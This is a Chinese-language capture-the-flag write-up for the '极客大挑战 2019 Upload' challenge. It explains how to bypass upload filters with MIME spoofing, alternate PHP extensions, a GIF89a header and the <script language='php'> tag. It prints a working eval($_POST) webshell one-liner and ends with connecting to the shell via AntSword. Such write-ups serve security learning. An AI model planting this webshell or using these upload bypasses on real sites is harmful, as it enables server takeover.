极客大挑战-2019-Upload

[极客大挑战 2019]Upload

1.题目:上传绕过
2.过程:

感觉好多好多知识,自己也就学了一点点……

按照以前的经验,流程一般是新建文本,写入一句话,上传改MIME中Content-Type为image/jpeg,文件后缀改PHP、phtml、php5……

这次好像不行,还会检查文件头……

File Header文件头,通过检查文件头来判断文件类型

各种图片格式的文件头说明

以16进制打开,可以看到前几位的文件头表示,可以此来判断文件类型。

image-20210128145935030

加入了GIF89a的文件头:

image-20210128150053430

除此之外还会检查内容中的<?类似的敏感内容

这时需要更换HTML中的php标记:


这是PHP官方推荐的写法,也是我们主要采用的写法!这种标签可以插入到HTML文档的任意位置;
>>>注:如果页面中,只有PHP语言,推荐省略结束表示’?>’。
原因:如果包含结束符号,在导入PHP文件时,可能会将文件最后的多余换行导入进来。
②<script language=”php”></script>
长标记写法。这种写法,总是可以使用,但是我们不推荐。

短标记风格。默认不开启,需要修改php.ini文件中”short_open_tag = On”打开。
但是,由于和XML中的标记冲突,不推荐使用。
④<% %>
ASA风格。默认不开启,需要修改php.ini文件中”asp_tags = On”打开。但是,由于和ASP,JSP中的标记冲突,不推荐使用。

1
2
3
所以图片内容为:
GIF89a
<script language='php'>eval($_POST['ok']);</script>

各类一句话:

https://tieba.baidu.com/p/952053373?red_tag=0840634974

https://www.zhangshengrong.com/p/2Y1kAYnNZe/

https://cloud.tencent.com/developer/article/1087791?from=information.detail.js%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC

……

上传后,文件被保存在:/upload里

image-20210128165834487

再用蚁剑连接就行了……

作者

inanb

发布于

2021-01-28

更新于

2021-01-28

许可协议


:D 一言句子获取中...